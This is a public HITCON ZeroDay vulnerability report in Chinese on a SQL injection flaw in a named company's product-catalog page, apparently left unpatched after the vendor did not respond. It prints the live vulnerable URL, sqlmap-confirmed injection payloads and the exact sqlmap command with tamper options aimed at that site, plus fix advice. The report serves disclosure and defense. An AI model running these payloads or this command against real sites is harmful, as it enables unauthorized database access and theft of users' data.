Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00870
- Vendor: 歐迪伊有限公司
- Title: 歐迪伊有限公司 官網存有資料庫注入漏洞
- Introduction: 網站商品型錄存有資料庫注入漏洞,SQL注入漏洞可以從資料庫讀取敏感資料、攻擊者可能會修改(插入,更新或刪除)資料庫,對資料庫執行管理操作等危害。
處理狀態
目前狀態
公開
Last Update : 2024/10/05
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/08/05 15:06:37 : 新提交 (由 杏子人 更新此狀態)
- 2024/08/05 15:11:05 : 新提交 (由 杏子人 更新此狀態)
- 2024/08/06 22:37:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/12 18:52:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/12 18:52:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/12 18:52:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/05 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00870
- 通報者:Kazusa_1612 (杏子人)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
正常頁面:http://www.idfr.com.tw/b2c/products/index.php?cid=2
針對該產品展示頁面注入後報錯:http://www.idfr.com.tw/b2c/products/index.php?cid=2%27
針對該產品展示頁面注入後報錯:http://www.idfr.com.tw/b2c/products/index.php?cid=2%27
敘述
上圖為正常產品頁面
上圖為簡易 SQL 注入檢查,發現頁面會顯示 SQL 報錯
並使用 SQLmap 進一步檢測,驗證出確實存有資料庫注入風險。
sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: cid=2 RLIKE (SELECT (CASE WHEN (9478=9478) THEN 2 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cid=2 AND (SELECT 5428 FROM(SELECT COUNT(*),CONCAT(0x717a6b6271,(SELECT (ELT(5428=5428,1))),0x7176706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=2 AND (SELECT 5028 FROM (SELECT(SLEEP(5)))swgk)
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: cid=-1885 UNION ALL SELECT 87,CONCAT(0x717a6b6271,0x6c65766e5553794652454d67524f455a7964757a574958505563554a4f4a495646594949776f5055,0x7176706b71),87#
---
SQLmap 之使用:$ sqlmap -u "http://www.idfr.com.tw/b2c/products/index.php?cid=2" --random-agent --tamper space2comment,space2hash,space2mssqlhash
修補建議
e.g.
使用參數化(Parameterized)查詢語法
針對使用者輸入資料的檢核與驗證,過濾不必要的字元使用。
可參考 OWASP TOP 10:https://owasp.org/www-community/attacks/SQL_Injection
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。